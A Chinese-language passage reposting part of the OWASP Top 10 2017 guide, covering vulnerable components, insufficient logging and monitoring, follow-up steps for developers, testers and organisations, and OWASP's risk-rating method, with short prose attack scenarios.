? 移除不使用的依賴、不需要的功能、組件、文件和文檔。 ? 利用如 versions、DependencyCheck 、retire.js等工具來持續的 記錄客戶端和服務器端以及它們的依賴庫的版本信息。持續監控 如CVE 和 NVD等是否發布已使用組件的漏洞信息，可以使用軟 件分析工具來自動完成此功能。訂閱關于使用組件安全漏洞的警 告郵件。 ? 僅從官方渠道安全的獲取組件，并使用簽名機制來降低組件被篡 改或加入惡意漏洞的風險 ? 監控那些不再維護或者不發布安全補丁的庫和組件。如果不能打 補丁，可以考慮部署虛擬補丁來監控、檢測或保護。
每個組織都應該制定相應的計劃，對整個軟件生命周期進行監控、 評審、升級或更改配置。

攻擊案例場景

場景 #1：很多時候組件都是以與應用相同的權限運行的，這使得 組件里的缺陷可能導致各式各樣的問題。這些缺陷可能是偶然的 （如：編碼錯誤），也可能是蓄意的（如：組件里的后門）。下 面是一些已被利用的漏洞： ? CVE-2017-5638，一個Struts2遠程執行漏洞。 可在服務端遠程 執行代碼，并已造成巨大的影響。 ? 雖然物聯網（IoT）設備一般難以通過打補丁來修復。但對之打 補丁非常重要（如：醫療設備）。有些自動化工具能幫助攻擊者發現未打補丁的或配置不正確的系 統。例如 ：Shodan IOT搜索引擎能幫助你發現從2014年四月至 今仍存在心臟出血漏洞 的設備。

?

A10:不足的日志記錄和監控

應用程序脆弱嗎？

下列情況會導致不足的日志記錄、檢測、監控和響應： ? 未記錄可審計性事件，如：登錄、登錄失敗和高額交易。 ? 告警和錯誤事件未能產生或產生不足的和不清晰的日志信息。 ? 沒有利用應用系統和API的日志信息來監控可疑活動。 ? 日志信息僅在本地存儲。 ? 沒有定義合理的告警閾值和制定響應處理流程。 ? 滲透測試和使用DAST工具（如：OWASP ZAP）掃描沒有觸 發告警 ? 對于實時或準實時的攻擊，應用程序無法檢測、處理和告警。
如果你的應用使得日志信息或告警信息對用戶或者攻擊者可見， 你就很容易遭受信息泄露攻擊（請參考A3：2017-敏感信息泄露）.

?

如何防止?

根據應用程序存儲或處理的數據的風險：: ? 確保所有登錄、訪問控制失敗、輸入驗證失敗能夠被記錄到日 志中去，并保留足夠的用戶上下文信息，以識別可疑或惡意帳 戶，并為后期取證預留足夠時間。 ? 確保日志以一種能被集中日志管理解決方案使用的形式生成 ? 確保高額交易有完整性控制的審計信息，以防止篡改或刪除， 例如審計信息保存在只能進行記錄增加的數據庫表中。 ? 建立有效的監控和告警機制，使可疑活動在可接受的時間內被 發現和應對。 ? 建立或采取一個應急響應機制和恢復計劃，例如：NIST 80061 rev 2或更新版本。
目前已有商業的和開源的應用程序防護框架（例如：OWASP AppSensor）、Web應用防火墻（例如 ：Modsecurity with the OWASP Core Rule Set）、帶有自定義儀表盤和告警功能的日志關聯軟件。

?

攻擊案例場景

場景#1：一個由小團隊運營的開源項目論壇軟件被攻擊者利用其 內在漏洞攻陷了。 攻擊者設法刪除了包含下一個版本的內部源代 碼倉庫以及所有論壇內容。 雖然代碼可以恢復，但由于缺乏監控、 日志記錄和告警導致了更糟糕的結果。 由于此問題，該論壇軟件 項目不再活躍。
場景#2：攻擊者使用通用密碼進行用戶掃描并能獲取所有使用此 密碼的賬戶。對于其他賬戶而言，將僅有一次失敗的登陸嘗試記 錄。一段時間以后，攻擊者可以用另一個密碼再次進行此活動。
場景#3：美國的一家大型零售商據內部使用惡意軟件分析沙箱做 分析。 沙箱軟件檢測到了一些可能不需要的軟件，但沒有人響應此次檢測。 在一個境外銀行不正當的信用卡交易被檢測到之前， 該沙箱軟件一直在產生告警信息。

?

?

6、開發人員下一步做什么

?

建立并使用可重復使用的安全流程和標準安全控制

無論您是剛接觸Web應用程序安全，還是已經非常熟悉各種安全風險，創建一個安全的Web應用程序或修復一個已 存在的應用程序的任務都可能很困難。若您需要管理一個大型的應用程序系統群，那任務將十分艱巨。 為幫助企業和開發人員以節省成本的方式降低應用程序的安全風險，OWASP創建了相當多的免費和開源的資源。 您可以使用這些資源來解決您企業組織的應用程序安全問題。以下內容是OWASP為幫助企業組織創建安全的Web應用 程序和API提供的一些資源。在下一頁中，我們將展示其它可以幫助企業用于檢查Web應用程序和接口安全性的OWASP 資源。
?

?

7、安全測試人員下一步做什么？

建立持續性的應用安全測試

安全編碼很重要。但驗證你想達到的安全性是否真實存在、是否正確、是否像我們想的那樣也很關鍵。應用程序安全測試的目標 是提供這些證據。這項工作困難而復雜，敏捷和DevOps當前快速發展的過程給傳統的方法和工具帶來的極大的挑戰。因此，我們強烈 建議你思考如何專注于整個應用程序組合中重要的地方，并且低成本高收益。
當前安全風險變化很快，每年進行一次的掃描或滲透測試的日子已經過去了。現代軟件開發需要在整個軟件開發生命周期中進行 持續的應用安全測試。通過安全自動化來加強現有的開發管道并不會減緩開發速度。無論你選擇哪種方法，都需考慮一下每年隨著應 用系統的規模倍增的定期測試、修復、復測并重新部署應用程序的成本。

?

8、企業組織下一步做什么？

現在就啟動您的應用程序安全計劃

應用程序安全已經不再是一個選擇了。在日益增長的攻擊和監管的壓力下，企業組織必須建立一個有效的能力去確保應用程序和 API的安全。由于在生產環境中的應用程序和APIs的代碼行數驚人，許多企業組織都在努力處理數量巨大的漏洞。
OWASP建議這些企業組織建立一個應用程序安全計劃，深入了解并改善它們的應用程序組合的安全性。為了實現應用程序的安 全性，需要企業組織中的不同部門之間有效地協同工作，這包括安全和審計、軟件開發、商業和執行管理。安全應該可視化和可量化， 讓所有不同角色的人都可以看到并理解企業組織的應用程序的安全態勢。通過消除或降低風險的方式專注于活動和結果，以幫助提高 企業安全性。《OWASP SAMM》和首席信息官的《OWASP應用安全指南》是這個列表中大多數關鍵活動的來源。

?

9、應用程序管理者下一步做什么

管理完整的應用程序生命周期

應用程序是人創建和維護的最復雜的系統之一。應用程序的IT管理應該由IT專家來完成，并且由專家們負責應用程序的整 個IT生命周期。
我們建議建立應用程序管理器的角色對等于應用程序所有者。應用程序管理器負責整個應用程序生命周期，從嘗嘗被忽視 的IT角度，這包含收集需求到系統下線的過程。

10、關于風險的備注說明

這里講述的是弱點表現出的風險

Top 10 的風險評級方法基于《OWASP風險評級方法》。對于Top 10中每一項，我們通過查看每個常見漏洞一般 情況下的可能性因素和影響因素，評估了每個漏洞對于典型的Web應用程序造成的典型風險，然后根據漏洞給應用程序 帶來的風險程度的不同來對Top 10進行分級。隨著變化，這些因素會隨著每一個新的Top 10發布而更新。
《OWASP風險評級方法》定義了許多用于計算漏洞風險等級的因素。但是，Top 10應該討論普遍性，而不是在真 實的應用程序和APIs中討論具體的漏洞的風險。因此，我們無法像系統所有者那樣精確計算應用程序中的風險高低。我 們也不知道您的應用程序和數據有多重要、您的威脅代理是什么或是您的系統是如何架構和如何操作的。
我們的方法包含三種可能性因素（普遍性、可檢測性和可利用性）和一個影響因素（技術影響）。每個因素的風險 等級從低等級-1到高等級-3不等。漏洞的普遍性我們通常無需計算。我們已經從多個不同的企業組織提供的普遍性統計 數據(參見第25頁的致謝)。我們取了這些數據的平均數得到了根據普遍性排序的10種最可能存在的漏洞。然后將這些數 據和其他兩個可能性因素結合（可檢測性和可利用性），用于計算每個漏洞的可能性等級。然后用每個漏洞的可能性等 級乘以我們估計的每個漏洞的平均技術影響，從而得到了Top 10列表中每一項的總的風險等級（結果越高，風險越高）。 可檢測性、可利用性、從分析報告的CVEs中得出的影響，這些都與Top 10中的每個類別有關聯。
注意：這個方法既沒有考慮威脅來源的可能性，也沒有考慮任何與您的特定應用程序相關的技術細節。這些因素都 可以極大影響攻擊者發現和利用某個漏洞的整體可能性。這個等級同樣沒有將對您業務的實際影響考慮進去。您的企業 組織需要參照自身的企業文化、行業以及監管環境，確定企業組織可以承受的應用安全和API的風險有多大。OWASP Top 10的目的并不是替您做這一風險分析。
下面是我們以A6:2017-安全配置錯誤風險為例，計算其風險。

?

11、關于風險因素的詳細說明

Top 10風險因素總結
? ? ? 下面的表格總結了2017年版Top 10應用程序安全風險因素，以及我們賦予每個風險因素的風險值。這些因素基于 OWASP團隊擁有的統計數據和經驗而決定。為了了解某個特定的應用程序或者企業組織的風險，您必須考慮您自己的威 脅代理和業務影響。如果沒有相應位置上的威脅代理去執行必要的攻擊，或者產生的業務影響微不足道，那么就是再嚴 重的軟件漏洞也不會導致一個嚴重的安全風險。

?

總結

以上是生活随笔為你收集整理的OWASP TOP 10 2017版本的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。